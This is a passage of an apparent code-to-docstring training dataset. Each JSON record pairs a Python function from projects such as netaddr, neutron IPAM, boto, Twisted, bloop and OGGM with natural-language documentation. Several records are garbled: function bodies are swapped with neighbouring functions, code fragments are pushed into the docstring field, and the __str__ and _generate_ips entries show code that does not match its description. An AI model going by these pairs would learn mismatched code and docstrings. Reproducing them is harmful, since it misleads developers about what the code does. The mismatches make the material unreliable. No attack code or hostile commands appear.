original directory even on error.http://stackoverflow.com/a/24176022/911441Args:new_path: Directory to change to.Returns:"} {"code": "def __isub__(self, num):\n new_value = int(self.network) - (self.size * num)\n\n if new_value < 0:\n raise IndexError('decrement is less than zero!')\n if (new_value + (self.size - 1)) > self._module.max_int:\n raise IndexError('decrement exceeds address boundary!')\n\n self._value = new_value\n return self\n", "nl": "Decreases the value of this `IPNetwork` object by the current sizemultiplied by ``num``.An `IndexError` is raised if result is less than zero or exceedsmaximum IP address value.:param num: (optional) number of `IPNetwork` blocks to decrement \\this IPNetwork's value by."} {"code": "def __str__(self):\n configs_path = qisys.sh.get_config_path(\"qi\", \"toolchains\")\n if not os.path.exists(configs_path):\n return list()\n contents = os.listdir(configs_path)\n contents = sorted([x for x in contents if x.endswith(\".xml\")])\n return [x.replace(\".xml\", \"\") for x in contents]\n\n", "nl": " String Representation of the Toochain git_path = qisys.sh.get_share_path(\"qi\", \"toolchains\", self.name + \".git\")sha1 = Noneif os.path.exists(git_path):git = qisrc.git.Git(git_path)_, sha1 = git.call(\"rev-parse\", \"HEAD\", raises=False)res = \"Toolchain %s\\n\" % self.nameif self.feed_url:res += \"Using feed from %s\" % self.feed_urlif self.feed_name:res += \" (feeds/%s.xml)\" % self.feed_nameif self.feed_branch:res += \" on %s\" % self.feed_branchif sha1:res += \" - %s\" % sha1[:8]res += \"\\n\"else:res += \"No feed\\n\"if self.packages:res += \" Packages:\\n\"else:res += \"No packages\\n\"sorted_packages = sorted(self.packages)for package in sorted_packages:res += ui.indent(package.name, 2)if package.version:res += \" \" + package.versionres += \"\\n\"if package.path:res += ui.indent(\"in \" + package.path, 3) + \"\\n\"return resdef get_tc_names(): Return the Names of the Toolchains "} {"code": "def test_auto_enum(self) -> None:\n obj = WithAutoEnum(**json.loads(object_repr))\n self.assertEqual(SomeAutoEnum.FOO, obj.auto_enum)\n\n\n@type_checked_constructor(convert=False, skip=False)\nclass WithOneMember(NamedTuple):\n \"\"\"Some dummy class as a NamedTuple.\"\"\"\n val: int\n\n\nclass TestArgsCallsWithOneMember(unittest.TestCase):\n \"\"\"Tests function calls with positional and keywords arguments.\"\"\"", "nl": "Valid JSON string.object_repr = {\"auto_enum\": + str(SomeAutoEnum.FOO.value) + }"} {"code": "def publish_tcp(self, topic, data, **kwargs):\n return self.__tcp_client.publish(topic, data, **kwargs)\n\n @deprecated", "nl": "Use :meth:`NsqdTCPClient.publish` instead... deprecated:: 1.0.0"} {"code": "def name(self):\n return self.__class__.__name__\n\n", "nl": "Returns a human readable name that uniquely identifiesthe attack with its hyperparameters.Returns-------strHuman readable name that uniquely identifies the attackwith its hyperparameters.Notes-----Defaults to the class name but subclasses can provide moredescriptive names and must take hyperparameters into account."} {"code": "def create_environment(path, safe=True):\n if os.path.isfile(path):\n _assert_safe(path, safe)\n return Environment(path)\n return Environment(_get_executable_path(path, safe=safe))\n\n", "nl": "Make it possible to manually create an Environment object by specifying aVirtualenv path or an executable path.:raises: :exc:`.InvalidPythonEnvironment`:returns: :class:`.Environment`"} {"code": "def get_paginator(operation_name=None):\n pass\n", "nl": "Create a paginator for an operation.:type operation_name: string:param operation_name: The operation name. This is the same name\\nas the method name on the client. For example, if the\\nmethod name is create_foo, and you\\'d normally invoke the\\noperation as client.create_foo(**kwargs), if the\\ncreate_foo operation can be paginated, you can use the\\ncall client.get_paginator('create_foo').:rtype: L{botocore.paginate.Paginator}ReturnsA paginator object."} {"code": "def _generate_ips(self, context, prefer_next=False, num_addresses=1):\n db_pools = self.subnet_manager.list_pools(context)\n iprange_pools = [netaddr.IPRange(pool.first_ip, pool.last_ip)\n for pool in db_pools]\n return pools == iprange_pools\n", "nl": "Generate a set of IPs from the set of available addresses.allocated_ips = []requested_num_addresses = num_addressesallocations = self.subnet_manager.list_allocations(context)# It is better not to use 'netaddr.IPSet.add',# because _compact_single_network in 'IPSet.add'# is quite time consuming.ip_allocations = netaddr.IPSet([netaddr.IPAddress(allocation.ip_address)for allocation in allocations])for ip_pool in self.subnet_manager.list_pools(context):ip_set = netaddr.IPSet()ip_set.add(netaddr.IPRange(ip_pool.first_ip, ip_pool.last_ip))av_set = ip_set.difference(ip_allocations)if av_set.size == 0:continueif av_set.size < requested_num_addresses:# All addresses of the address pool are allocated# for the first time and the remaining addresses# will be allocated in the next address pools.allocated_num_addresses = av_set.sizeelse:# All expected addresses can be assigned in this loop.allocated_num_addresses = requested_num_addressesif prefer_next:allocated_ip_pool = list(itertools.islice(av_set, allocated_num_addresses))allocated_ips.extend([str(allocated_ip)for allocated_ip in allocated_ip_pool])requested_num_addresses -= allocated_num_addressesif requested_num_addresses:# More addresses need to be allocated in the next loop.continuereturn allocated_ipswindow = min(av_set.size, MAX_WIN)# NOTE(gryf): If there is more than one address, make the window# bigger, so that are chances to fulfill demanded amount of IPs.if allocated_num_addresses > 1:window = min(av_set.size,allocated_num_addresses * MULTIPLIER,MAX_WIN_MULTI)if window < allocated_num_addresses:continue# Maximize randomness by using the random module's built in# sampling functionav_ips = list(itertools.islice(av_set, 0, window))allocated_ip_pool = random.sample(av_ips,allocated_num_addresses)allocated_ips.extend([str(allocated_ip)for allocated_ip in allocated_ip_pool])requested_num_addresses -= allocated_num_addressesif requested_num_addresses:# More addresses need to be allocated in the next loop.continuereturn allocated_ipsraise ipam_exc.IpAddressGenerationFailure(subnet_id=self.subnet_manager.neutron_id)def allocate(self, address_request):# NOTE(pbondar): Ipam driver is always called in context of already# running transaction, which is started on create_port or upper level.# To be able to do rollback/retry actions correctly ipam driver# should not create new nested transaction blocks.# NOTE(salv-orlando): It would probably better to have a simpler# model for address requests and just check whether there is a# specific IP address specified in address_requestif isinstance(address_request, ipam_req.SpecificAddressRequest):# This handles both specific and automatic address requests# Check availability of requested IPip_address = str(address_request.address)self._verify_ip(self._context, ip_address)else:prefer_next = isinstance(address_request,ipam_req.PreferNextAddressRequest)ip_address = self._generate_ip(self._context, prefer_next)# Create IP allocation request object# The only defined status at this stage is 'ALLOCATED'.# More states will be available in the future - e.g.: RECYCLABLEtry:with db_api.CONTEXT_WRITER.using(self._context):self.subnet_manager.create_allocation(self._context,ip_address)except db_exc.DBReferenceError:raise n_exc.SubnetNotFound(subnet_id=self.subnet_manager.neutron_id)return ip_addressdef bulk_allocate(self, address_request):# The signature of this function differs from allocate only in that it# returns a list of addresses, as opposed to a single address.if not isinstance(address_request, ipam_req.BulkAddressRequest):return [self.allocate(address_request)]num_addrs = address_request.num_addressesallocated_ip_pool = self._generate_ips(self._context,False,num_addrs)# Create IP allocation request objectstry:with db_api.CONTEXT_WRITER.using(self._context):for ip_address in allocated_ip_pool:self.subnet_manager.create_allocation(self._context,ip_address)except db_exc.DBReferenceError:raise n_exc.SubnetNotFound(subnet_id=self.subnet_manager.neutron_id)return allocated_ip_pooldef deallocate(self, address):# This is almost a no-op because the Neutron DB IPAM driver does not# delete IPAllocation objects at every deallocation. The only# operation it performs is to delete an IPAMAllocation entry.self.subnet_manager.delete_allocation(self._context, address)def _no_pool_changes(self, context, pools):Check if pool updates in db are required."} {"code": "def iglob(path_glob):\n raise ValueError(msg % path_glob)\n if _CHECK_MISMATCH_SET.search(path_glob):\n msg = \"\"\"invalid glob %r: mismatching set marker '{' or '}'\"\"\"", "nl": "Extended globbing function that supports ** and {opt1,opt2,opt3}.if _CHECK_RECURSIVE_GLOB.search(path_glob):msg = invalid glob %r: recursive glob \"**\" must be used alone"} {"code": "def _add_sj_index_commands(fq1, ref_file, gtf_file):\n if _has_sj_index(ref_file):\n return \"\"\n else:\n rlength = fastq.estimate_maximum_read_length(fq1)\n cmd = \" --sjdbGTFfile %s \" % gtf_file\n cmd += \" --sjdbOverhang %s \" % str(rlength - 1)\n return cmd\n", "nl": "newer versions of STAR can generate splice junction databases on thephflythis is preferable since we can tailor it to the read lengths"} {"code": "def start_heartbeat(self):\n if not self.hosts:\n raise MatchMakerException(\n _(\"Register before starting heartbeat.\"))\n", "nl": "Implementation of MatchMakerBase.start_heartbeat.Launches greenthread looping send_heartbeats(),yielding for CONF.matchmaker_heartbeat_freq secondsbetween iterations."} {"code": "def change_nick(self,new_nick):\n new_room_jid=JID(self.room_jid.node,self.room_jid.domain,new_nick)\n p=Presence(to_jid=new_room_jid)\n self.manager.stream.send(p)\n", "nl": "Send a nick change request to the room.:Parameters:- `new_nick`: the new nickname requested.:Types:- `new_nick`: `unicode`"} {"code": "def _check_boolean_value(converted_value):\n if converted_value.lower() == \"true\" or (converted_value.isdigit() and converted_value == \"1\"):\n boolean_value = bool(True)\n elif converted_value.lower() == \"false\" or (converted_value.isdigit() and converted_value == \"0\"):\n boolean_value = bool(False)\n else:\n raise NotImplementedError('Invalid boolean type input')\n return boolean_value\n\n @staticmethod", "nl": "returns boolean value of input:param converted_value:str:return bool"} {"code": "def SetFilter(self, filter):\n self.filter = filter\n\n", "nl": "Remember the filter that is currently operating on this control.Set this to None to clear the current filter.A filter is a callable that accepts one parameter: the original listof model objects. The filter chooses which of these model objects shouldbe visible to the user, and returns a collection of only those objects.The Filter module has some useful standard filters.You must call RepopulateList() for changes to the filter to be visible."} {"code": "def process_source(starting_date, through_date, dump_slug=None):\n starter = datetime.datetime.now()\n counter = 0\n pk = 1\n new_objects = []\n CountyMortgageData.objects.all().delete()\n source_url = \"{}/{}\".format(S3_SOURCE_BUCKET, S3_SOURCE_FILE)\n raw_data = read_in_s3_csv(source_url)\n for row in raw_data:\n sampling_date = parser.parse(row.get(\"date\")).date()\n if sampling_date >= starting_date and sampling_date <= through_date:\n valid_fips = validate_fips(row.get(\"fips\"))\n if valid_fips:\n county = County.objects.get(fips=valid_fips)\n new_objects.append(\n CountyMortgageData(\n pk=pk,\n fips=valid_fips,\n date=sampling_date,\n total=row.get(\"open\"),\n current=row.get(\"current\"),\n thirty=row.get(\"thirty\"),\n sixty=row.get(\"sixty\"),\n ninety=row.get(\"ninety\"),\n other=row.get(\"other\"),\n county=county,\n )\n )\n pk += 1\n counter += 1\n if counter % 10000 == 0:\n sys.stdout.write(\".\")\n sys.stdout.flush()\n if counter % 100000 == 0:\n logger.info(\"\\n{}\".format(counter))\n CountyMortgageData.objects.bulk_create(new_objects)\n logger.info(\n \"\\n{} took {} \"\n \"to create {} countymortgage records\".format(\n SCRIPT_NAME, (datetime.datetime.now() - starter), len(new_objects)\n )\n )\n if dump_slug:\n dump_as_csv(\n (\n (\n obj.pk,\n obj.fips,\n \"{}\".format(obj.date),\n obj.total,\n obj.current,\n obj.thirty,\n obj.sixty,\n obj.ninety,\n obj.other,\n obj.county.pk,\n )\n for obj in new_objects\n ),\n dump_slug,\n )\n\n", "nl": "Re-generate aggregated data from the latest source CSV posted to S3.This operation has three steps- Wipe and regenerate the base county_mortgage_data table.- Regenerate aggregated data for MSAs, non-MSAs, states and national.- Update metadata values and files.- Export new downloadable public CSV files.If dump_slug is provided, a CSV the base county tables will be dumped.The input CSV has the following field_names and row form:date,fips,open,current,thirty,sixty,ninety,other01/01/08,1001,268,260,4,1,0,3"} {"code": "def test_jobsConflictWithProfile(self):\n error = self.assertRaises(\n UsageError, self.options.parseOptions,\n [\"--jobs\", \"4\", \"--profile\"])\n self.assertEqual(\"You can't specify --profile when using --jobs\",\n str(error))\n\n", "nl": "C{parseOptions} raises a C{UsageError} when C{--profile} is passedalong C{--jobs} as it's not supported yet.@see: U{http://twistedmatrix.com/trac/ticket/5827}"} {"code": "def _float_format(self, n: float, nr_digits: int) -> str:\n if nr_digits == 0:\n return (\"{:,d}\").format(int(n))\n return (\"{:,.\" + str(nr_digits) + \"g}\").format(float(n))", "nl": "Format a number to a specified precision.Ref.: https://docs.python.org/3.8/library/string.html#format-specification-mini-language"} {"code": "def _parse_term_information(self, headers, row):\n if self.is_term_accession(headers[-len(row)]):\n accession = row[0]\n row.popleft()\n if self.is_term_source(headers[-len(row)]):\n source = row[0]\n row.popleft()\n return {\"accession\": accession, \"source\": source}\n else:\n raise ParserException(\n \"Unexpected element {} when \"\n \"parsing term information in line {} , column {}.\".format(\n headers[-len(row)],\n self._current_reader.line_num,\n len(headers) - len(row)\n )\n )\n elif self.is_term_source(headers[-len(row)]):\n source = row[0]\n row.popleft()\n if self.is_term_accession(headers[-len(row)]):\n accession = row[0]\n row.popleft()\n return {\"accession\": accession, \"source\": source}\n else:\n raise ParserException(\n \"Unexpected element {} when \"\n \"parsing term information in line {} , column {}.\".format(\n headers[-len(row)],\n self._current_reader.line_num,\n len(headers) - len(row)\n )\n )\n else:\n raise ParserException(\n \"Unexpected element {} when \"\n \"parsing term information in line {} , column {}.\".format(\n headers[-len(row)],\n self._current_reader.line_num,\n len(headers) - len(row)\n )\n )\n", "nl": "Parses a term_accession, term_source pairCurrently does not enforce any specific order."} {"code": "def test_read_raw_field_with_segmentation(self):\n expected_results = [\n {\n '_raw': '07-13-2012 09:27:27.307 -0700 INFO Metrics - group=search_concurrency, system total, active_hist_searches=0, active_realtime_searches=0',\n },\n ]\n\n self.assert_parsed_results_equals(xml_text, expected_results)\n", "nl": "xml_text = _raw07-13-2012 09:27:27.307 -0700 INFO Metrics - group=search_concurrency, system total, active_hist_searches=0, active_realtime_searches=0.strip()"} {"code": "def __getitem__(self, key):\n\n Similar to :class:`~bloop.types.Map` but is not constrained to a single type.\n\n .. code-block:: python\n\n value = {\"f\": 1, \"in\": [True]]\n DynamicMap()._dump(value)\n -> {\"M\": {\"f\": {\"N\": 1}, \"in\": {\"L\": [{\"BOOL\": true}]}}}\n\n .. note::\n\n Values will only be loaded and dumped as their DynamoDB backing types. This means datetimes and uuids are\n stored and loaded as strings, and timestamps are stored and loaded as integers. For more information, see\n :ref:`dynamic-documents`.\n \"\"\"", "nl": "Overload allows easy nested access to typesreturn DynamicType.i# noinspection PyProtectedMemberdef dynamo_load(self, values, *, context, **kwargs):if values is None:return []load = DynamicType.i._loadreturn [load(value, context=context, **kwargs)for value in values]def dynamo_dump(self, values, *, context, **kwargs):if values is None:return None# noinspection PyProtectedMemberdump = guard_no_action(DynamicType.i._dump)dumped = (dump(value, context=context, **kwargs) for value in values)return [value for value in dumped if value is not None] or Noneclass DynamicMap(Type):Holds a dictionary of arbitrary values, including other DynamicLists and DynamicMaps."} {"code": "def startService(self):\n service.Service.startService(self)\n\n self._pipe = XmlPipe()\n self.xmlstream = self._pipe.source\n\n for domain in self.domains:\n self._router.addRoute(domain, self._pipe.sink)\n\n for e in self:\n e.makeConnection(self.xmlstream)\n e.connectionInitialized()\n\n", "nl": "Create a XML pipe, connect to the router and setup handlers."} {"code": "def test_5(self):\n self.check(b, a)\n", "nl": "b = apply(f, args,)a = f(*args)"} {"code": "def _cv_edge_length_term(phi, mu):\n toret = _cv_curvature(phi)\n return mu * toret\n\n", "nl": "Returns the 'energy' contribution due to the length of theedge between regions at each point, multiplied by a factor 'mu'."} {"code": "def delete_from(self):\n subquery in the WHERE clause.\n\n This is an ANSI-standard syntax that apparently MySQL can't handle,\n such as:\n\n UPDATE documents SET flag=1 WHERE documents.title IN\n (SELECT max(documents.title) AS title\n FROM documents GROUP BY documents.user_id\n )\n \"\"\"", "nl": "Target must support DELETE FROM..FROM or DELETE..USING syntaxreturn exclusions.closed()@propertydef update_where_target_in_subquery(self):Target must support UPDATE where the same table is present in a"} {"code": "def test_cacheRepr(self):\n cachedDropin = plugin.getCache(self.module)[self.originalPlugin]\n cachedPlugin = list(p for p in cachedDropin.plugins\n if p.name == 'TestPlugin')[0]\n self.assertEqual(\n repr(cachedPlugin),\n \"\"\n )\n\n", "nl": "L{CachedPlugin} has a helpful C{repr} which contains relevantinformation about it."} {"code": "def __repr__(self):\n return json.dumps(self.jsonNode())\n", "nl": "Represents the placeholder as its resolved type in JSON or ``{\"type\": \"unknown\"}`` if not resolved yet.if self.forwardDeclarationParser.contains(self.original):return repr(self.forwardDeclarationParser.lookup(self.original))else:return '{\"type\": \"unknown\"}'def toJson(self):Represent the resolved type as a JSON string."} {"code": "def accimage_loader(path):\n try:\n import accimage\n return accimage.Image(path)\n except IOError:\n return pil_loader(path)\n", "nl": "compared with PIL, accimage loader eliminates useless function within class, so that it is faster than PIL:param path: image path:return: image data"} {"code": "def get_pool_capabilities(self):\n pool_cal = {}", "nl": "Accessor method for pool-type property (in __slots__).Return a pool info dict in following schema:{:{:[,...],:[,...]}}"} {"code": "def text_2d_to_3d(obj, z=0, zdir='z'):\n 3D line object.\n \"\"\"", "nl": "Convert a Text to a Text3D object.obj.__class__ = Text3Dobj.set_3d_properties(z, zdir)class Line3D(lines.Line2D):"} {"code": "def p_labeled_statement_1(self, p):\n p[0] = c_ast.Case(p[2], [p[4]], self._coord(p.lineno(1)))\n", "nl": " labeled_statement : ID COLON statement p[0] = c_ast.Label(p[1], p[3], self._coord(p.lineno(1)))def p_labeled_statement_2(self, p): labeled_statement : CASE constant_expression COLON statement "} {"code": "def multi_data_loader(inputs, targets, batch_size, shuffle=True):\n assert len(inputs) == len(targets)\n input_sizes = [data.shape[0] for data in inputs]\n max_input_size = max(input_sizes)\n num_domains = len(inputs)\n if shuffle:\n for i in range(num_domains):\n r_order = np.arange(input_sizes[i])\n np.random.shuffle(r_order)\n inputs[i], targets[i] = inputs[i][r_order, :], targets[i][r_order]\n num_blocks = int(max_input_size / batch_size)\n for j in range(num_blocks):\n xs, ys = [], []\n for i in range(num_domains):\n ridx = np.random.choice(input_sizes[i], batch_size)\n xs.append(inputs[i][ridx, :])\n ys.append(targets[i][ridx])\n yield xs, ys\n", "nl": "Both inputs and targets are list of numpy arrays, containing instances and labels from multiple sources."} {"code": "def __init__(self, trigger_pin, echo_pin, echo_timeout_us=500*2*30):\n self.echo_timeout_us = echo_timeout_us\n self.trigger = Pin(trigger_pin, mode=Pin.OUT, pull=None)\n self.trigger.value(0)\n\n self.echo = Pin(echo_pin, mode=Pin.IN, pull=None)\n", "nl": "trigger_pin: Output pin to send pulsesecho_pin: Readonly pin to measure the distance. The pin should be protected with 1k resistorecho_timeout_us: Timeout in microseconds to listen to echo pin.By default is based in sensor limit range (4m)"} {"code": "def _init_tpu(self, num_partitions, device_order_mode):\n\n Args:\n model_params: the hyperparams of the specified model.\n \"\"\"", "nl": "Initialize tpu device assignment.tf.logging.info('Initializing TPU to get device assignment: start')graph = tf.Graph()with graph.as_default():init_tpu_op = tf.tpu.initialize_system()try:sess = tf.Session(target=self._tpu, graph=graph, config=self._no_opt_sess_cfg())topology = sess.run(init_tpu_op)except Exception as e:tf.logging.fatal('TPU initialization failed: %s', e)raisetopology_proto = topology_pb2.TopologyProto()topology_proto.ParseFromString(topology)tf.logging.info('topology.num_tasks: %r', topology_proto.num_tasks)tf.logging.info('topology.num_tpu_devices_per_task: %r',topology_proto.num_tpu_devices_per_task)tf.logging.info('topology.mesh_shape: %r', topology_proto.mesh_shape)self.cluster_params = self._configure_cluster_params(tpu_cores=(topology_proto.num_tpu_devices_per_task *topology_proto.num_tasks),cpu_hosts=topology_proto.num_tasks)# We assume the topology and device assignment does not change# for a single address space.device_assignment = tpu_device_assignment.device_assignment(topology,computation_shape=py_utils.ComputationShape(num_partitions, topology),num_replicas=1,device_order_mode=device_order_mode)py_utils.SetTpuDeviceAssignment(device_assignment)tf.logging.info('Initializing TPU to get device assignment: done')def init_graph(self, model_params):Builds moe decode graph."} {"code": "def create_dhcp_options(self, vpc_id, cidr_block, availability_zone=None):\n params = {'VpcId' : vpc_id,\n 'CidrBlock' : cidr_block}\n if availability_zone:\n params['AvailabilityZone'] = availability_zone\n return self.get_object('CreateDhcpOption', params, DhcpOptions)\n", "nl": "Create a new DhcpOption:type vpc_id: str:param vpc_id: The ID of the VPC where you want to create the subnet.:type cidr_block: str:param cidr_block: The CIDR block you want the subnet to cover.:type availability_zone: str:param availability_zone: The AZ you want the subnet in:rtype: The newly created DhcpOption:return: A :class:`boto.vpc.customergateway.DhcpOption` object"} {"code": "def test_cursorDown(self):\n self.protocol.cursorDown(1)\n self.assertEqual(self.transport.value(),\n self.CSI + b'1' + CSFinalByte.CUD.value)\n\n", "nl": "L{ServerProtocol.cursorDown} writes the control sequenceending with L{CSFinalByte.CUD} to its transport."} {"code": "def put_word(self, word):\n return struct.unpack('>I', self._recv_bytes(4))[0]\n", "nl": "Write a big-endian 16-bit integer to the serial port.self._send_bytes(struct.pack('>H', word))def get_dword(self):Read a big-endian 32-bit integer from the serial port."} {"code": "def aug_test(self, imgs, img_metas, rescale=False):\n proposal_list = self.aug_test_rpn(\n self.extract_feats(imgs), img_metas, self.test_cfg.rpn)\n det_bboxes, det_labels = self.aug_test_bboxes(\n self.extract_feats(imgs), img_metas, proposal_list,\n self.test_cfg.rcnn)\n\n if rescale:\n _det_bboxes = det_bboxes\n else:\n _det_bboxes = det_bboxes.clone()\n _det_bboxes[:, :4] *= img_metas[0][0]['scale_factor']\n bbox_results = bbox2result(_det_bboxes, det_labels,\n self.bbox_head.num_classes)\n\n if self.with_mask:\n segm_results = self.aug_test_mask(\n self.extract_feats(imgs), img_metas, det_bboxes, det_labels)\n return bbox_results, segm_results\n else:\n return bbox_results", "nl": "Test with augmentations.If rescale is False, then returned bboxes and masks will fit the scaleof imgs[0]."} {"code": "def bundle_tensors(tensors: TensorSeq, dim: int = 0) -> TensorSeq:\n if isinstance(tensors, Tensor):\n return tensors\n\n if len(set(t.shape for t in tensors)) > 1 or len(tensors) == 0:\n return tensors\n else:\n return torch.stack(tensors, dim=dim)\n\n", "nl": "When possible, converts a sequence of tensors into single batch tensorWhen all input tensors have the same shape or only one tensor is input,a batch tensor is produced with a new batch index. Collections oftensors with inhomogeneous shapes are returned unchanged.Args:tensors: Sequence of tensorsdim: Location of the new batch dimensionReturns:out_tens: Single batched tensor, when possible, or unchanged input"} {"code": "def list_applications(self, id):\n return list_applications.list_applications(self._core_job_operations, id)\n", "nl": "List all application defined as a part of a jobArgs:id (:obj:`str`): the id of the job to list the applications ofReturns::obj:`List[aztk.spark.models.Application]`: a list of all applications defined as a part of the job"} {"code": "def test_run_experiment_predict_expected_scores_wrong_skll_model():\n source = 'predict-expected-scores-non-probabilistic-svc'\n config_file = join(rsmtool_test_dir,\n 'data',\n 'experiments',\n source,\n 'rsmpredict.json')\n do_run_prediction(source, config_file)", "nl": "Run rsmpredict experiment for expected scores with an unsupported SKLL learner.source = 'predict-expected-scores-wrong-skll-model'config_file = join(rsmtool_test_dir,'data','experiments',source,'rsmpredict.json')do_run_prediction(source, config_file)@raises(ValueError)def test_run_experiment_predict_expected_scores_non_probablistic_svc():Run rsmpredict experiment for expected scores with a non-probabilistic learner."} {"code": "def get_monthly_climate(self, heights, year=None):\n _, m = floatyear_to_date(year)\n yrs = [date_to_floatyear(y, m) for y in self.years]\n heights = np.atleast_1d(heights)\n nh = len(heights)\n shape = (len(yrs), nh)\n temp = np.zeros(shape)\n tempformelt = np.zeros(shape)\n prcp = np.zeros(shape)\n prcpsol = np.zeros(shape)\n for i, yr in enumerate(yrs):\n t, tm, p, ps = self.mbmod.get_monthly_climate(heights, year=yr)\n temp[i, :] = t\n tempformelt[i, :] = tm\n prcp[i, :] = p\n prcpsol[i, :] = ps\n return (np.mean(temp, axis=0),\n np.mean(tempformelt, axis=0),\n np.mean(prcp, axis=0),\n np.mean(prcpsol, axis=0))\n", "nl": "Average climate information at given heights.Note that prcp is corrected with the precipitation factor and thatall other biases (precipitation, temp) are appliedReturns-------(temp, tempformelt, prcp, prcpsol)"} {"code": "def parse_common_folder_path(path: str) -> Dict[str, str]:\n return \"organizations/{organization}\".format(\n organization=organization,\n )\n\n @staticmethod", "nl": "Parse a folder path into its component segments.m = re.match(r\"^folders/(?P.+?)$\", path)return m.groupdict() if m else {}@staticmethoddef common_organization_path(organization: str,) -> str:Returns a fully-qualified organization string."} {"code": "def test_merge_dagger(self, G):\n prog = sf.Program(1)\n G1 = G(A)\n G2 = G(-A)\n\n with prog.context:\n G1 | 0\n G2 | 0\n\n prog = prog.optimize()\n assert len(prog) == 0\n", "nl": "Optimizer merging single-mode gates with their daggered versions.prog = sf.Program(1)G = G(A)with prog.context:G | 0G.H | 0prog = prog.optimize()assert len(prog) == 0@pytest.mark.parametrize(\"G\", single_mode_gates)def test_merge_negated(self, G):Optimizer merging single-mode gates with their negated versions."} {"code": "def as_set(self, include_weak=False):\n rv = set(self._strong)\n if include_weak:\n rv.update(self._weak)\n return rv\n", "nl": "Convert the `ETags` object into a python set. Per default all theweak etags are not part of this set."} {"code": "def test_using_checkout_after_no_review(qisrc_action, git_server):", "nl": " Test Using Checkout After No Review git_server.create_repo(\"foo\", review=True)qisrc_action(\"init\", git_server.manifest_url, \"--no-review\")git_server.switch_manifest_branch(\"devel\")qisrc_action(\"checkout\", \"devel\")git_worktree = TestGitWorkTree()foo1 = git_worktree.get_git_project(\"foo\")assert not foo1.reviewdef test_all(qisrc_action, git_server): Test All "} {"code": "def add_header(self, _name, _value, **_params):\n parts = []\n if _value is not None:\n parts.append(_value)\n for k, v in _params.items():\n if v is None:\n parts.append(k.replace('_', '-'))\n else:\n parts.append(_formatparam(k.replace('_', '-'), v))\n\n self._headers.append((_name, '; '.join(parts)))\n return", "nl": "Extended header setting._name is the header field to add. keyword arguments can be used to setadditional parameters for the header field, with underscores convertedto dashes. Normally the parameter will be added as key=\"value\" unlessvalue is None, in which case only the key will be added.Example:h.add_header('content-disposition', 'attachment', filename='bud.gif')Note that unlike the corresponding 'email.message' method, this does*not* handle '(charset, language, value)' tuples: all values must bestrings or None."} {"code": "def aver(self, **kwargs):\n The basic fields this assumes are present include the \"what\" keyword\n which contains the name of the field we're getting the transitions on,\n the \"n\" field which tells the count of the top entries you're\n looking for, and the reverse field which tells whether you're looking", "nl": "Assertraise NotImplementedErrordef top(self, **kwargs):Default implementation of top."} {"code": "def test_gotResolverResponseLogging(self):\n f = NoResponseDNSServerFactory(verbose=1)\n answers = [dns.RRHeader()]\n authority = [dns.RRHeader()]\n additional = [dns.RRHeader()]\n\n assertLogMessage(\n self,\n [\"Lookup found 3 records\"],\n f.gotResolverResponse,\n (answers, authority, additional),\n protocol=NoopProtocol(), message=dns.Message(), address=None)\n\n", "nl": "L{server.DNSServerFactory.gotResolverResponse} logs the total number ofrecords in the response if C{verbose > 0}."} {"code": "def subst_vars(target, source, d):\n var = re.compile('@([a-zA-Z_]+)@')\n with open(source, 'r') as fs:\n with open(target, 'w') as ft:\n for l in fs:\n m = var.search(l)\n if m:\n ft.write(l.replace('@%s@' % m.group(1), d[m.group(1)]))\n else:\n ft.write(l)\n\nclass build_src(build_ext.build_ext):\n\n description = \"build sources from SWIG, F2PY files or a function\"\n\n user_options = [\n ('build-src=', 'd', \"directory to \\\"build\\\" sources to\"),\n ('f2py-opts=', None, \"list of f2py command line options\"),\n ('swig=', None, \"path to the SWIG executable\"),\n ('swig-opts=', None, \"list of SWIG command line options\"),", "nl": "Substitute any occurrence of @foo@ by d['foo'] from source file intotarget."} {"code": "def paintEvent(self, event: QPaintEvent):\n\n painter = QPainter(self)\n metrics = painter.fontMetrics()\n right_element_widths = (\n self.rapidApp.downloadButton.width() + self.rapidApp.menuButton.width()\n )\n window_width = self.rapidApp.width()\n window_half = window_width / 2\n if right_element_widths > window_half:\n maximum_width = window_width - right_element_widths\n else:\n maximum_width = window_half\n maximum_width -= self.padding_side - self.top_row_icon_size\n\n maximum_width = max(30, maximum_width)\n\n usable_width = round(0.9 * maximum_width)\n elided_text = metrics.elidedText(\n self.non_elided_text, Qt.ElideMiddle, usable_width\n )\n super().setText(elided_text)\n super().paintEvent(event)\n\n", "nl": "Override default rendering to elide button text if it is bigger than half thewindow size"} {"code": "def connectionMade(self):\n\n", "nl": "Callback invoked when the transport is first available to this widget.Override this."} {"code": "def iterate(func, start):\n while True:\n yield start\n start = func(start)\n\n", "nl": "Return ``start``, ``func(start)``, ``func(func(start))``, ...>>> from itertools import islice>>> list(islice(iterate(lambda x: 2*x, 1), 10))[1, 2, 4, 8, 16, 32, 64, 128, 256, 512]"} {"code": "def tls_insecure_set(self, value):\n\n if self._ssl_context is None:\n raise ValueError('Must configure SSL context before using tls_insecure_set.')\n\n self._tls_insecure = value\n\n if hasattr(self._ssl_context, 'check_hostname'):\n self._ssl_context.check_hostname = not value\n", "nl": "Configure verification of the server hostname in the server certificate.If value is set to true, it is impossible to guarantee that the hostyou are connecting to is not impersonating your server. This can beuseful in initial server testing, but makes it possible for a maliciousthird party to impersonate your server through DNS spoofing, forexample.Do not use this function in a real system. Setting value to true meansthere is no point using encryption.Must be called before connect() and after either tls_set() ortls_set_context()."} {"code": "def _trim_vocab(vocab, vocab_size):\n if \"\" in vocab:\n del vocab[\"\"]\n if \"\" in vocab:\n del vocab[\"\"]\n if \"\" in vocab:\n del vocab[\"\"]\n if \"\" in vocab:\n del vocab[\"\"]\n\n word2id = {\"\": 0, \"\": 1, \"\": 2, \"\": 3}\n\n id2word = {0: \"\", 1: \"\", 2: \"\", 3: \"\"}\n\n sorted_word2id = sorted(\n vocab.items(), key=operator.itemgetter(1), reverse=True\n )\n\n if vocab_size != -1:\n sorted_words = [x[0] for x in sorted_word2id[:vocab_size]]\n else:\n sorted_words = [x[0] for x in sorted_word2id]\n\n for ind, word in enumerate(sorted_words):\n word2id[word] = ind + 4\n\n for ind, word in enumerate(sorted_words):\n id2word[ind + 4] = word\n\n return word2id, id2word\n", "nl": "Discard start, end, pad and unk tokens if already present.Args:vocab(list): Vocabulary.vocab_size(int): The size of the vocabulary.Returns:word2id(list): Word to index list.id2word(list): Index to word list."} {"code": "def violin_stats(X, method, points=100):\n\n vpstats = []\n\n X = _reshape_2D(X, \"X\")\n\n for x in X:\n stats = {}\n\n min_val = np.min(x)\n max_val = np.max(x)\n\n coords = np.linspace(min_val, max_val, points)\n stats['vals'] = method(x, coords)\n 